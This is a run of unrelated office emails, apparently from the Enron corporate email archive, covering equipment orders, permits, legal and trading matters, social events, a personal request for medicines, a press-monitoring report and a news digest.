	From:  Ben F Jacoby @ ECT                           06/20/2000 02:00 PM
	
Sent by: Ben Jacoby@ECT
To: michael.o.sandridge@us.abb.com @ ENRON
cc: Harry Okabayashi/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Kay 
Mann/Corp/Enron@Enron, Janet R Dietrich/HOU/ECT@ECT, 
frank.chmiel@us.abb.com@ENRON, karla.hesketh@us.abb.com@ENRON 

Subject: Re: LM 6000 GSU's  

Mike:

Yes, please proceed with the orders referenced below. Please make sure Harry 
is on board with all the details regarding the spec sheets which I understand 
are still being worked out. Thanks for all your help.

Regards,

Ben

michael.o.sandridge@us.abb.com on 06/20/2000 11:15:15 AM
To: ben.jacoby@enron.com
cc: frank.chmiel@us.abb.com, karla.hesketh@us.abb.com 
Subject: LM 6000 GSU's

Ben,
I would like to confirm our conversation of this morning.  The requirments are
as follows:
two (2) 138 KV units City of Austin shown on data sheet dated April 6 2000
HU-Enron - 2C
two (2) 138 KV units Las Vegas shown on dats sheet dated May 17 2000 HU - 
Enron
2D
six (6) 115/230 flexible units as shown on data sheet dated May 17 2000 HU
-Enron -1C
The factrory ex-work dates are as agreed in the option extension agreement 
dated
19 June 2000.

Please let us know via return e-mail that our understanding is correct.  We 
are
presently changing the units 03 and 04 (same as City of Austin) that had been
previously released to agree with the requirments above.
I will be out of town for the rest of the week, however, I will have my 
computer
and my cell phone with me.  If you need me please contact me via e-mail or 
cell
phone.

Thanks,

MIKE

Taken from McCalls, March 2001 issue:

Heinous Husband Award
One night after I'd asked my husband, Keith, to bring our cat inside, he 
reported that she hissed at him.  The next morning I found out why she'd been 
hostile.  It wasn't our cat!  After Keith got home from work, I introduced 
him to Brandy--whom we've had for five years."

From: =09christopher.lewis@accenture.com@ENRON <mailto:christopher.lewis@ac=
centure.com@ENRON> [mailto:IMCEANOTES-christopher+2Elewis+40accenture+2Ecom=
+40ENRON@ENRON.com] <mailto:[mailto:IMCEANOTES-christopher+2Elewis+40accent=
ure+2Ecom+40ENRON@ENRON.com]>=20
Sent:=09Thursday, August 23, 2001 11:14 AM
To:=09carmbrus@yahoo.com <mailto:carmbrus@yahoo.com>; sbeltran@deloitte.com=
 <mailto:sbeltran@deloitte.com>; sanay.v.bhirud@accenture.com <mailto:sanay=
.v.bhirud@accenture.com>; janebooth@mail.utexas.edu <mailto:janebooth@mail.=
utexas.edu>; cmbrooks@texas.net <mailto:cmbrooks@texas.net>; lrcampbell9@ho=
tmail.com <mailto:lrcampbell9@hotmail.com>; chavle@TimeGateStudios.com <mai=
lto:chavle@TimeGateStudios.com>; thomas.w.clark@accenture.com <mailto:thoma=
s.w.clark@accenture.com>; matthew.a.cowell@accenture.com <mailto:matthew.a.=
cowell@accenture.com>; andrew.b.doble@accenture.com <mailto:andrew.b.doble@=
accenture.com>; gayla.dodson.2002@anderson.ucla.edu <mailto:gayla.dodson.20=
02@anderson.ucla.edu>; rosse@avanade.com <mailto:rosse@avanade.com>; hunter=
.estes@amd.com <mailto:hunter.estes@amd.com>; Reagan@motive.com <mailto:Rea=
gan@motive.com>; cfalcon@ev1.net <mailto:cfalcon@ev1.net>; christinegonzale=
z@hotmail.com <mailto:christinegonzalez@hotmail.com>; rmhoke@yahoo.com <mai=
lto:rmhoke@yahoo.com>; tomcat@hic.net <mailto:tomcat@hic.net>; tjhoke@home.=
com <mailto:tjhoke@home.com>; AMERITEX@aol.com <mailto:AMERITEX@aol.com>; l=
arkay1@webtv.net <mailto:larkay1@webtv.net> (Laura Huffman); realest1@infoh=
wy.com <mailto:realest1@infohwy.com>; c.kahlden@mail.utexas.edu <mailto:c.k=
ahlden@mail.utexas.edu>; christopher.j.keel@accenture.com <mailto:christoph=
er.j.keel@accenture.com>; nicholas.g.konat@accenture.com <mailto:nicholas.g=
.konat@accenture.com>; jimlewis@hic.net <mailto:jimlewis@hic.net>; flip_lew=
is@yahoo.com <mailto:flip_lewis@yahoo.com>; carolina_mantilla2000@yahoo.com=
 <mailto:carolina_mantilla2000@yahoo.com>; lawrence.c.marion@accenture.com =
<mailto:lawrence.c.marion@accenture.com>; mattmash25@hotmail.com <mailto:ma=
ttmash25@hotmail.com>; michael.j.mclatcher@accenture.com <mailto:michael.j.=
mclatcher@accenture.com>; rayfes@rayfes.com <mailto:rayfes@rayfes.com>; jno=
vak1@pdq.net <mailto:jnovak1@pdq.net>; blarneysurfer@yahoo.com <mailto:blar=
neysurfer@yahoo.com>; christa.offenhauser@accenture.com <mailto:christa.off=
enhauser@accenture.com>; ChristinePareja@tx.slr.com <mailto:ChristinePareja=
@tx.slr.com>; krp315@yahoo.com <mailto:krp315@yahoo.com>; willp@milwaukeepc=
.com <mailto:willp@milwaukeepc.com>; jodyrigdon@yahoo.com <mailto:jodyrigdo=
n@yahoo.com>; jrobbinson@austin.rr.com <mailto:jrobbinson@austin.rr.com>; r=
oy.r.salvagio@accenture.com <mailto:roy.r.salvagio@accenture.com>; kdselly@=
yahoo.com <mailto:kdselly@yahoo.com>; lyall.d.shepperd@accenture.com <mailt=
o:lyall.d.shepperd@accenture.com>; MSouthan@jabber.com <mailto:MSouthan@jab=
ber.com>; Thomas, Paul D.; ethornburrow@hotmail.com <mailto:ethornburrow@ho=
tmail.com>; ernest.trevino@accenture.com <mailto:ernest.trevino@accenture.c=
om>; chrsvaughan@hotmail.com <mailto:chrsvaughan@hotmail.com>; andrew.p.vo@=
accenture.com <mailto:andrew.p.vo@accenture.com>; jonpaul.weiss@ey.com <mai=
lto:jonpaul.weiss@ey.com>; justin.r.whitehead@accenture.com <mailto:justin.=
r.whitehead@accenture.com>; peter.wisniewski@mavtech.cc <mailto:peter.wisni=
ewski@mavtech.cc>; Wade_Wynn@Dell.com <mailto:Wade_Wynn@Dell.com>; eyanta@b=
roadjump.com <mailto:eyanta@broadjump.com>; cdurkee@apartmentsearch.com <ma=
ilto:cdurkee@apartmentsearch.com>
Subject:=09man!!!

Damn, it's good to be a man......

Your last name stays put.
The garage is all  yours.
Wedding plans take care of themselves.
Chocolate is just another snack.
You can be president.
You  can wear a white T-shirt to a water park.
Car  mechanics tell you the truth.
The world is your  urinal.
You never have to drive to another gas  station because this one's just
icky.
Same work, more pay.
Wrinkles add character.
Wedding dress - $5000; tux rental - $100.
People never stare at your chest when you're talking to them.
The occasional  well-rendered belch is practically expected.
New shoes don't cut, blister, or mangle your  feet.
One mood, ALL the damn time.
Phone conversations are over in 30 seconds flat.
You know stuff about tanks.
A five-day vacation requires only one suitcase.
You can open all your own jars.
You get extra credit for the slightest act of thoughtfulness.
If someone forgets to invite  you to something, he or she can still be a
friend.
Your  underwear is $8.95 for a three-pack.
If you are  34 and single, nobody notices.
Everything on  your face stays its original color.
Three pairs  of shoes are more than enough.
You don't have  to stop and think of which way to turn a nut on a  bolt.
You almost never have strap problems in  public.
You are unable to see wrinkles in your  clothes.
The same hairstyle lasts for years,  maybe decades.
You don't have to shave below  your neck.
Your belly usually hides your big  hips.
One wallet and one pair of shoes, one  color, all seasons.
You can "do" your nails with a pocketknife.
You  have freedom of choice concerning growing a mustache.
You can do Christmas shopping for 25  relatives, on December 24, in 45
minutes.

Jo Williams has asked me to help her update this map, to provide Enron Corp. 
"IT" so they may add a  point and click map on the "inter net".  I have 
contacted some of you by phone to update the attached map, I am asking all of 
you to please carefully review this entire map, title, legend, numbers, 
spelling all of it.  Please reply whether you have changes or not, about the 
information that appears on it.  GIVE ME AN APPROVAL OR  DECLINE IT.  I 
realize this is short notice but we would need this at least by 3 :00 PM 
today Wed may 24th, Jo is trying to place this in the hands of Will Zamer 
today.
Keep in mind that this map will probably be revised from some of your 
comments, so it is NOT a map that should be distributed from any of you, in 
fact you can delete it after you've provided us the help. I will resubmit  
the final map upon it's completion. Thank-you all.
 All your time is greatly appreciated.
regards'
Maria Salazar
please call me if you would like 713.646.7256

 -----Original Appointment-----
From: 	Garrett, Bryan  
Sent:	Wednesday, November 28, 2001 12:09 PM
To:	Garrett, Bryan; Ahad, Farhad; Andre, Carin; Arnold, Matthew; Barnes, Corbin; Bogucki, Robert; Carpino, Neil; Case, David; Chen, Will; Curry, Mike; Day, Justin; Dolezal, Regan; Enochs, Fred; Freeman, Ben; Frey, Gunnar; Hawthorn, Jay; Heintzelman, Pete; Herron, Chris; Hough, Greg; Irani, Eric; Jachimiak, Matthew; Lindvall, Tim; Manuel, Scott; Martinez, Roberto W; Masani, Zal; Mathews, Reagan; McDonald, Rob; Miralles, Albert; Mujumdar, Ravi; Noble, Ted; Paysse, Juan Carlos; Rogers, Benjamin; Santikos, Mark; Schneider, Richard; Schultz, Ethan; Shulklapper, Ken; Simpson, Erik; Simson, Kyle; Spector, Brian; Stadler, Gary; Suarez, John; Synnott, Ryan; Terp, Brian; Thames, Davis; Thibodeaux, Ryan; Tull, Ryan; Vaughn, Kevin; Walsh, David; Will, Nathan; Woods, Trevor; Woulfe, Greg; Zimmerman, Grant
Subject:	Touch Football
When:	Sunday, December 02, 2001 11:00 AM-1:00 PM (GMT-06:00) Central Time (US & Canada).
Where:	Rice University (see attached map)

Guys:

Come on out this Sunday and take out some of your frustrations on the field.  We will have beer this time, so be prepared to have a few.  Forward this on to anyone else you can think of who'd like to play.

We're having a touch football game this Sunday the 2nd at Rice.  The attached map indicates the place where you should park (small white box with X in it) and where the game will take place (larger white box nearby).  Game time is 11AM, and we'll play until whenever everyone gets tired and goes home.

Teams will be picked on site.  There are several fields adjacent to one another, so we can play two games simultaneously if we have too many people for one game.  I will bring two footballs, and some cones for field boundaries.  Please feel free to bring other equipment as you see fit (e.g. - footballs, cones, flags, other if you have them).  Cleats are recommended if you own them already (and if not, go pick up a pair at Academy for $20).  Please bring your own water/food/beer/other refreshments.

 <<Rice U Map for Flag Football.gif>> 
 
Please disregard Parking receipt sent January 31, 2002.  Updated receipt will be sent shortly.  

Thank You.

Ben - The attache file contains the answers to the questions included in your 
e-mail for Lincoln. 

Gus

	Benjamin Rogers@ECT
	10/20/2000 08:30 AM
		 
		 To: Gus Eghneim/Corp/Enron@Enron
		 cc: 
		 Subject: Questions regarding PSD permit for Lincoln

Forgot to include these questions.  Thanks for the call this morning, your 
help is very much appreciated.
Ben
---------------------- Forwarded by Benjamin Rogers/HOU/ECT on 10/20/2000 
08:29 AM ---------------------------

Don Miller
10/20/2000 08:29 AM
To: Benjamin Rogers/HOU/ECT@ECT
cc:  
Subject: Questions regarding PSD permit for Lincoln

---------------------- Forwarded by Don Miller/HOU/ECT on 10/20/2000 08:28 AM 

mhhurtado@duke-energy.com on 10/18/2000 02:51:20 PM
To: don.miller@enron.com
cc: japearson@duke-energy.com, jparker@mayerbrown.com, jusow@mayerbrown.com 

Don,

As a result of our review of the information and documents on Lincoln we
are requesting additional documents which are not in the data room.

1.   Relating to the plant's PSD:

     The Mostardi & Platt emissions test protocol for the May 2000
     emissions test
      A report to Illlinois EPA containing the emission test data
     Continuous Emission Monitoring (" CEM") Data ( all data
     developed since start-up)
     Any reports to IEPA required under the permit pertaining to
     exceedances, or
     start-up, breakdown & malfunction ( we have internal memos indicating
     that there
     was a breakdown at # 7 on July 5,2000)

2. Also, we don't have any permits for wastewater discharge. We have been
told that there is no wastewater discharged except
sewage/office wastewater which is going to a septic field. But we have no
verification of this at this point.

Thank you for your attention to these items.

Mario H. Hurtado
Duke Energy North America

This in an automated e-mail sent out from the Commissioner.COM
web site.  Do not reply to this e-mail, but instead please visit
your league's site at http://football.commissioner.com/enron2000

-------------------------------------------------------------

Bill Kasemervisz requests the following transaction:.

  Drop Tony Richardson.
  Add Mike Anderson.

To approve this transaction, please go to your web site and
select Transactions, Requests in the Front Office.

When: Tuesday, February 05, 2002 2:00 PM-3:00 PM (GMT-06:00) Central Time (US & Canada).
Where: ECS 5112 conference room

*~*~*~*~*~*~*~*~*~*

This meeting will focus on how books are created in RisktRAC and associated with RisktRAC's flexible portfolio reporting system to gather Value at Risk, P&L, and Open Positions.

Aspects of automatic portfolio/book creation will also be covered.

Please call myself (x57534) or Stephanie McGinnis (39283) if you need more information, thanks.

Dear Rajan,

Sat sri akal. It was a pleasure to talk to you yesterday.I had discussed with 
you our programme for the return journey.Though our return journey is fixed 
on 18th of Nov. but due to circumstances as discussed with you yesterday ,we 
may have to extend our stay for a couple of months if we could get clearance 
from INS for which AP has applied. In the meantime ,if we could have an 
understanding with Dimpy/Ap we may move earlier as planned. Any case we must 
keep more medicines so that at that time we may not have any problem. I 
therefore  will greatly appreciate if you can arrange to get the following 
medicines from India with Raj's mother who is coming  in the next month and 
then later on these can be sent to us.

STAMLO BETA                 15x10   =150 Tab (15 strips of 10 each)
AMLOPRES- AT              15x10  =  150  "              "
Semi Daonil or Daonil        15x10  =  150   "              "
Glyciphage 500                  15x10  =  150  "               "
Premelle' 2.5                        2x28  =    56  "( 2 pkts. of 28 each)
( Conjugated Estrogens and Medroxyprogesterone acetate USP)

  I am sure you must be sending your authority to MSDANG at Delhi . I will 
talk with u on phone in the evening. Rest is OK.Winter has started here. With 
our lot of love to you and hope to have a tea -te-te in the evening.
   JAGJIT  SINGH

Marie - Veronica is on vacation this week, but we can still provide you wit=
h=20
the current list.  AC, please call her and get her our most current list.

FYI, Donna Lowry=01,s just recently out on maternity leave, but is still=20
dedicated enough to be working out a transition of the maintenance of the=
=20
authorized trader list to her group while she=01,s out.  It=01,s just tough=
 this=20
week due to her unexpected early delivery and Veronica=01,s vacation. Pleas=
e=20
bear with us.

Regards,
Cassandra Schultz
VP-Market Risk Management.
x30429.

From:  Heard, Marie =20
Sent: Thursday, June 07, 2001 9:10 AM
To: Valdez, Veronica
Cc: Schultz, Cassandra; Shackleton, Sara
Subject: Authorized Trader List for ENA

Veronica:

Have you had a chance to update the authorized trader list for ENA?  It is=
=20
getting critical that we update it as we are getting requests from some of=
=20
the brokerage firms for an updated list.=20

Please either send me the changes to the list I sent you last week or just=
=20
let me know the status.

Thanks!

Marie

Marie Heard
Senior Legal Specialist
Phone:  (713) 853-3907
Marie.Heard@Enron.com

Greg, we have not had time to review or discuss these provisions with you and 
Peter.  Jeff and I have some concerns and thoughts.  

Cordially,
Mary Cook
1400 Smith, 38th Floor, Legal
Houston, Texas   77002-7361
(713) 345-7732 (phone)
(713) 646-3490 (fax)
mary.cook@enron.com

	Greg Johnston
	12/01/2000 10:22 AM
		 
		 To: Mary Cook/HOU/ECT@ECT, Derek Davies/CAL/ECT@ECT, John 
Zufferli/CAL/ECT@ECT
		 cc: Peter Keohane/CAL/ECT@ECT, Mark Powell/CAL/ECT@ECT
		 Subject: Market Opening Rider

Please find attached a revised version of the market opening condition 
precedent language that will need to be included, for the time being, in all 
Canadian power transactions, whether physical or financial.  I believe this 
language is now in final form.

Greg

FYI,  Draft that we sent to Peter with our comments.

----- Forwarded by Gerald Nemec/HOU/ECT on 04/19/2001 09:00 AM -----

	Lisa Mellencamp
	04/18/2001 07:04 PM
		
		 To: "Meier, Peter" <peter.meier@neg.pge.com>@ENRON
		 cc: Steve Van Hooser/HOU/ECT@ECT, Gerald Nemec/HOU/ECT@ECT
		 Subject: Re: AGREEMENT WITH RESPECT TO GAS TRANSPORTATION

peter, please see below. would like the lawyers  to see and then we can 
redline v your draft.
do you have ucc run to confirm not pledged now?
gerald, can you confirm that now all in et gas as peter has heard it is?
assume you are ok with protective ucc filed on our part too.

Lisa J. Mellencamp
Enron North America Corp. - Legal
1400 Smith St.
Tel:  (713) 853-7986
Fax: (713) 646-3393
E-mail:  Lisa.Mellencamp@enron.com

How are we handling the "dual agreement" situation?  Have we spoken with 
credit?

	Stephanie Panus@ENRON
	08/21/2000 09:09 AM
		
		 cc: Mary Cook/HOU/ECT@ECT
		 Subject: Re: Bank of Montreal ("BOM")

There is an executed Assignment Agreement transfering CES's transactions with 
Bank of Montreal to ENA.  The CES Master Agreement was not terminated, but is 
inactive.

From: Sara Shackleton@ECT on 08/21/2000 08:56 AM
To: Stephanie Panus/NA/Enron@Enron
cc: Mary Cook/HOU/ECT@ECT 

Subject: Bank of Montreal ("BOM")

Re:  Bank of Montreal and ENA, have we terminated the CES agreement (and has 
credit agreed)?  I don't know how Susan F. "inactivated" the CES ISDA with 
BOM,  We are in the process of negotiating with BOM in connection with our 
Japanese affiliate.  Sara

Dear Sir;

R.O.B 07 May 1630 lt (1330 GMT):

FO: 4472 mt
DO:  127 mt
FW:  368 mt

Brgds Knut Bentzr?d
Master LNG/C "Hoegh galleon"

E-mail: master.gall@hoegh.no
Teleph: Inmarsat tel.no.+873 330853910
Fax   : Inmarsat fax no.+873 330853913
Telex : Inmarsat B telex no.+583 330853915
Telex : Inmarsat C telex no.+583 430853910 (24hrs.watch)

	Do Not Delete - Repeat parent for UK Doorstep - tentative

Date:		7/23/2001
Time:		9:15 AM - 10:15 AM (Central Standard Time)

	7/23/2001, 7/24/2001, 7/25/2001, 7/26/2001, 7/27/2001, 7/28/2001, 7/29/2001, 7/30/2001, 7/31/2001

Chairperson:	Stacey W White

---------------------- Forwarded by Kimberly Bates/HOU/ECT on 05/16/2001 
12:13 PM ---------------------------
From: Venita Coleman/ENRON@enronXgate on 05/08/2001 09:16 AM
To: Kimberly Bates/HOU/ECT@ECT
cc:  
Subject: FW: Astros Tickets for May

Kim, Gary wanted me to send you the remaining list of Astros tickets 
available for our group (Producer Services).  Please forward this information 
to the guys & gals in your group.  Please let me know if we have a candidate 
for the next two games on May 9th, Wednesday and May 19th, Saturday.

Kindest Regards,
Venita :-)

From:  Coleman, Venita  
Sent: Monday, May 07, 2001 9:40 AM
To: Bryan, Gary; Zivley, Jill T.; Roberts, Linda; Martinez, Jennifer
Importance: High

Listed below is the distribution of Astros tickets for home agame in May.  

 Date   Time  Opponent  Utilized By

 Monday, May 7th 7:05PM  Philadelphia  Producer Services - Gary
 Tuesday, May 8th 7:05PM  Philadelphia  Compressor Services - Chris
 Wednesday, May 9th 7:05PM  Philadelphia  Producer Services - Gary
 Friday, May 18th 7:05 PM Cincinnati  Compressor Services - Chris
 Saturday, May 19th 1:35 PM Cincinnati  Producer Services - Gary
 Sunday, May 20th 1:35 PM Cincinnati  Offshore - Tom
 Monday, May 21st 7:05 PM San Diego  Compressor Services - Chris
 Tuesday, May 22nd 7:05 PM San Diego  Offshore - Tom
 Wednesday, May 23rd 3:05 PM San Diego  Producer Services - Gary

Regards,

Venita Coleman
Enron North America
(713) 853-5093

Carolina Power & Light Company and Florida Power Corporation, on July 16, 2001, filed revisions to their Open Access Transmission Tariffs.  

The modification provides that the Tariffs Generator Interconnection Procedures, Attachment O, apply only in the CP&L zone.  

The companies state that the purpose of the filing is to correct an April 26, 2001 filing that  inadvertently did not limit the applicability of the Attachment.

If you would like more information on this filing, please let me know.

Susan Scott
713.853.0596

----- Forwarded by Steven J Kean/NA/Enron on 03/23/2001 08:46 AM -----

	Eva Hoeffelman@ECT
	03/23/2001 06:43 AM
		 
		 To: Steven J Kean/NA/Enron@Enron, Mark Palmer/Corp/Enron@ENRON, Meredith 
Philipp/Corp/Enron@ENRON
		 cc: Jackie Gentle/LON/ECT@ECT, Mark Schroeder/LON/ECT@ECT, Peter 
Styles/LON/ECT@ECT, Paul Hennemeyer/LON/ECT@ECT
		 Subject: journalists in California sent by Ruhrgas

Steve, Mark and Meredith,

Please find below some emails between EFET (European Federation of Energy 
Traders) and myself.  We have helped them to find out which German 
journalists the German gas incumbent, Ruhrgas, has sent to California this 
week.  We found out about that yesterday.  I have now passed on that list + 
some general PR recommendations and EFET will now take the lead on this (they 
will send out an EFET position paper on California and have a spokesperson 
available especially for California - he's not Enron!).

Just wanted to make sure you are aware because it could be possible that 
people will come to us for further comment.  The general consensus now is 
that we then refer them to EFET.

Thanks
Eva
---------------------- Forwarded by Eva Hoeffelman/LON/ECT on 03/23/2001 
12:37 PM ---------------------------

Eva Hoeffelman
03/23/2001 12:35 PM
To: secretariat@efet.org, ingrid@efet.org, Jackie Gentle/LON/ECT@ECT, Peter 
Styles/LON/ECT@ECT, Mark Schroeder/LON/ECT@ECT, Paul Hennemeyer/LON/ECT@ECT, 
David Gallagher/LON/ECT@ECT, Andreas Radmacher/FRA/ECT@ECT, Eric 
Shaw/LON/ECT@ECT
cc: Helge-J_rgen Beil/FRA/ECT@ECT, Carsten Haack/FRA/ECT@ECT 

Subject: journalists in California sent by Ruhrgas

Jan,

Please  see below a summary of the journalists who will be returning this 
weekend from their trip to California courtesy of Ruhrgas. 

Up to you now to send them the EFET position paper on California.  Would 
suggest you try to get it on their desk by Monday morning latest, if 
possible.  Would also send it to those who have refused to go and other key 
contacts we have given to you.  Media seems to be keen to know EFET's 
position on this.  Let me know if you need translation of the personalised 
note that will accompany the position paper. Obviously, we will divert any 
requests we get to you. Will get their email addresses to you later so you 
can email it to them rather than fax it with the possibility they will get it 
too late. 

Good luck.

Groet
Eva
12:15 PM ---------------------------

Christina_Mueller@de.cohnwolfe.com on 03/23/2001 12:09:08 PM
To: eva.hoeffelman@enron.com
cc:  

Subject: journalists in California

Eva,

I've finished my guerilla-PR-job, here are the results:

Ruhrgas has invited the Nordrhein-Westfalen (region where Essen is located)
-based correspondents of the national dailies and also the energy
journalists of the most important business magazines.

Journalists in Califonia:
-Werner Sturbeck (FAZ - Frankfurter Allgemeine Zeitung)
-Werner Jaspert (S_ddeutsche Zeitung)
-Dr. J_rgen Frech (WAZ - Westdeutsche Allgemeine Zeitung
-Jochen Schuster (Focus)

Journalists that had been invited but refused:
-Dr. Andreas Wildhagen (Wirtschaftswoche)
-Hans-Willy Bein (Financial Times Deutschland)
-Die Welt

I also got the information that Ruhrgas held a press conference yesterday
in California. So we can expect the first articles on California tomorrow
or latest on Monday. I also will do an additional internet monitoring (for
example WAZ, which we don't read daily) this afternoon to see if there are
already some articles.

We should recommend EFET to send their statement not only to those
journalists who have been on the press trip but to all key contacts. Most of
the journalists I spoke to or colleagues from the newsdesk seem to be keen to
know what EFET has to say about the California issue!!!!!

Please let me know if you need further information!

Christina M_ller
Cohn & Wolfe Public Relations GmbH & Co. KG
Kleyerstrasse 25, D-60326 Frankfurt am Main
Telefon (069) 7506 1503, Telefax (069) 7506 1528
christina_mueller@de.cohnwolfe.com
www.cohnwolfe.de

---------------------- Forwarded by Hunter S Shively/HOU/ECT on 08/22/2000 
09:38 AM ---------------------------

	Invitation
Chairperson: John P Tollefsen
Sent by: Terry Furches

Start: 08/30/2000 01:30 PM
End: 08/30/2000 02:30 PM

Description: Weekly Market Intelligence Status Meeting
EB32c2 (Invite for Reoccuring Meetings)

This meeting repeats every week on Wednesday starting on 08/30/2000 for 6 
months.
Meeting Dates: 08/30/2000, 09/06/2000, 09/13/2000, 09/20/2000, 09/27/2000, 
10/04/2000, 10/11/2000, 10/18/2000, 10/25/2000, 11/01/2000, 11/08/2000, 
11/15/2000, 11/22/2000, 11/29/2000, 12/06/2000, 12/13/2000, 12/20/2000, 
12/27/2000, 01/03/2001, 01/10/2001, 01/17/2001, 01/24/2001, 01/31/2001, 
02/07/2001, 02/14/2001, 02/21/2001

Hunter S Shively/HOU/ECT@ECT
Chris Gaskill/Corp/Enron@Enron
Geoff Storey/HOU/ECT@ECT
George Hopley/HOU/ECT@ect
Lloyd Will/HOU/ECT@ECT
Madhup Kumar/Corp/Enron@ENRON
Colin Tonks/LON/ECT@ECT

Detailed description:

Anyone wanna go to the Lease???

Weather for Eldorado today....

Cloudy and very windy...High today 41 dg. North winds 30 to 40 Mph with isolated higher gusts. Tonight...Mostly Clear and windy, low of 7 dg.

That's Fahrenheit, gentlemen. Hope the McCombs "winterized" last time out....

From: Erik Wollam [mailto:erwollam@hotmail.com] 
Sent: Tuesday, February 26, 2002 11:40 AM
To: Brian Constantine; knipe3@msn.com; chet_fenner@bmc.com; c.r.zander@att.net; Joe.Parks@enron.com; john.chambers@bisys.com
Subject: RE: MAN NIGHT FINAL PLANS

I hear back from John more than I do Chet.
Chad and I are going for noodles in a few minutes. Joe do you want to join 
us?

Brian, your in charge of the REVISED FINAL PLAN FOR MAN NIGHT. good luck. 
I'll go where I'm told. e.

>From: "Brian Constantine" <brianc@saltgrass.com>
>To: "Erik Wollam" <erwollam@hotmail.com>, <knipe3@msn.com>, 
><chet_fenner@bmc.com>, <c.r.zander@att.net>, <Joe.Parks@enron.com>, 
><john.chambers@bisys.com>
>Subject: RE: MAN NIGHT FINAL PLANS
>Date: Tue, 26 Feb 2002 11:30:13 -0600
>
>Where is Chad?? Chet??? Does Chambers ever respond to anything...who is he, 
>for that matter? For the love of God...
>
>-----Original Message-----
>From: Erik Wollam [mailto:erwollam@hotmail.com]
>Sent: Tuesday, February 26, 2002 11:27 AM
>To: knipe3@msn.com; chet_fenner@bmc.com; c.r.zander@att.net; 
>Joe.Parks@enron.com; john.chambers@bisys.com; Brian Constantine
>
>NO< NO< NO... this is now going to get way to confusing. WHo is going
>anyway, just me and you Brian?
>
>You need to make your pick and send out a REVISED FINAL PLAN after hearing
>from everyone.
>
>
> >From: "Brian Constantine" <brianc@saltgrass.com>
> >To: "Parks, Joe" <Joe.Parks@ENRON.com>, "Erik Wollam"
> ><erwollam@hotmail.com>, "Fenner, Chet" <Chet_Fenner@bmc.com>,
> ><knipe3@msn.com>
> >Subject: RE: MAN NIGHT FINAL PLANS
> >Date: Tue, 26 Feb 2002 11:22:34 -0600
> >
> >According to E, that is indeed the case. I will roll the dice and go to
> >Tampico (leave any valuables locked securely in your glove box). Set 
>alarm.
> >
> >-----Original Message-----
> >From: Parks, Joe [mailto:Joe.Parks@ENRON.com]
> >Sent: Tuesday, February 26, 2002 11:15 AM
> >To: Brian Constantine; Erik Wollam; Fenner, Chet; knipe3@msn.com
> >
> >yes, according to chet's co-worker
> >	-----Original Message-----
> >	From: Brian Constantine [mailto:brianc@saltgrass.com]
> >	Sent: Tuesday, February 26, 2002 11:14 AM
> >	To: Parks, Joe; Erik Wollam; Fenner, Chet; knipe3@msn.com
> >	Subject: RE: MAN NIGHT FINAL PLANS
> >	Is Thursday night, "Man Night" for "those kinds of men" too???
> >
> >	From: Parks, Joe [mailto:Joe.Parks@ENRON.com]
> >	Sent: Tuesday, February 26, 2002 11:09 AM
> >	To: Brian Constantine; Erik Wollam; Fenner, Chet; knipe3@msn.com
> >
> >	so your proposing we are going to the stabbing cabin. go to tampico
> >		-----Original Message-----
> >		From: Brian Constantine [mailto:brianc@saltgrass.com]
> >		Sent: Tuesday, February 26, 2002 11:08 AM
> >		To: Erik Wollam; Fenner, Chet; knipe3@msn.com; Parks, Joe
> >		Subject: MAN NIGHT FINAL PLANS
> >
> >		Men,
> >
> >		            The final descision on the night of men will be as 
>follows...
> >
> >		Where: Tony's Mexican (bring your own clown and accessories, please)
> >
> >		When: Thursday 2/28 at 7:15 pm.
> >
> >		We will wait until Zander is able to attend, to try the Tampico place.
> >Would rather go w/ someone who knows the drill.
> >
> >		I am very much looking forward to seeing all of you men.
> >
> >
> >                Pig-N-a-Stinky-blanket
> >
> >
> >	**********************************************************************
> >	This e-mail is the property of Enron Corp. and/or its relevant affiliate
> >and may contain confidential and privileged material for the sole use of
> >the intended recipient (s). Any review, use, distribution or disclosure 
>by
> >others is strictly prohibited. If you are not the intended recipient (or
> >authorized to receive for the recipient), please contact the sender or
> >reply to Enron Corp. at enron.messaging.administration@enron.com and 
>delete
> >all copies of the message. This e-mail (and any attachments hereto) are 
>not
> >intended to be an offer (or an acceptance) and do not create or evidence 
>a
> >binding and enforceable contract between Enron Corp. (or any of its
> >affiliates) and the intended recipient or any other party, and may not be
> >relied on by anyone as the basis of a contract by estoppel or otherwise.
> >Thank you.
>
>
>
>
>_________________________________________________________________
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If you are a participant in the Enron Corp. Savings Plan, please read this very important message.

We understand that you are concerned about the timing of the move to a new Savings Plan administrator and the restricted access to your investment funds during the upcoming transition period scheduled to take place beginning at 3:00PM CST on October 26 and ending at 8:00AM CST on November 20.  

We have been working with Hewitt and Northern Trust since July.  We understand your concerns and are committed to making this transition period as short as possible without jeopardizing the reconciliation of both the Plan in total or your account in particular.  

Remember that the Enron Corp. Savings Plan is an investment vehicle for your long-term financial goals.  The Enron plan will continue to offer a variety of investment opportunities with different levels of risk.  

As always, we advise you to review your overall investment strategy and carefully weigh the potential earnings of each investment choice against its risk before making investment decisions that are aligned with your long-term financial plans and your risk tolerance. 

For that reason, it is critical that ALL trades among your investment funds be completed by 3:00 PM CST Friday, October 26 before the transition period begins.

TODAY'S HEADLINES
The New York Times on the Web
Sunday, October 21, 2001
For news updated throughout the day, visit www.nytimes.com

New From NYTimes.com
Get DealBook -- your daily briefing on the latest and most 
comprehensive news about market-moving mergers and 
acquisitions, IPOs, private equity transactions, venture 
capital deals and Wall Street maneuverings, all delivered 
before the market's opening bell. Get analyst 
presentations, SEC filings, press releases and more.
http://www.nytimes.com/services/email/email.html#dealbook

QUOTE OF THE DAY
=========================
"Terrorists want to turn the openness of the global economy
against itself. We must not let them."
-PRESIDENT BUSH  

http://www.nytimes.com/2001/10/21/international/asia/21PREX.html?todaysheadlines

NATIONAL
Anthrax Found on a 3rd Letter From Trenton

Officials said the letter, which was sent to the New York
Post, was postmarked Trenton, N.J., and addressed in
handwriting similar to earlier letters containing anthrax.
http://www.nytimes.com/2001/10/21/nyregion/21CAPI.html?todaysheadlines

-----
 
Focus of F.B.I. Is Seen Shifting to Terrorism 

The Bush administration is discussing proposals that would
lead to a reorganization of the Federal Bureau of
Investigation, shifting its focus to counterterrorism.
http://www.nytimes.com/2001/10/21/national/21BURE.html?todaysheadlines 

-----

Arrests Have Yielded Little So Far, Investigators Say

Despite pursuing more than 365,000 tips from the public,
senior investigators acknowledged that most of their
promising leads have unraveled.
http://www.nytimes.com/2001/10/21/national/21DETA.html?todaysheadlines 

-----

MORE NATIONAL NEWS:
http://www.nytimes.com/pages/national/index.html?todaysheadline

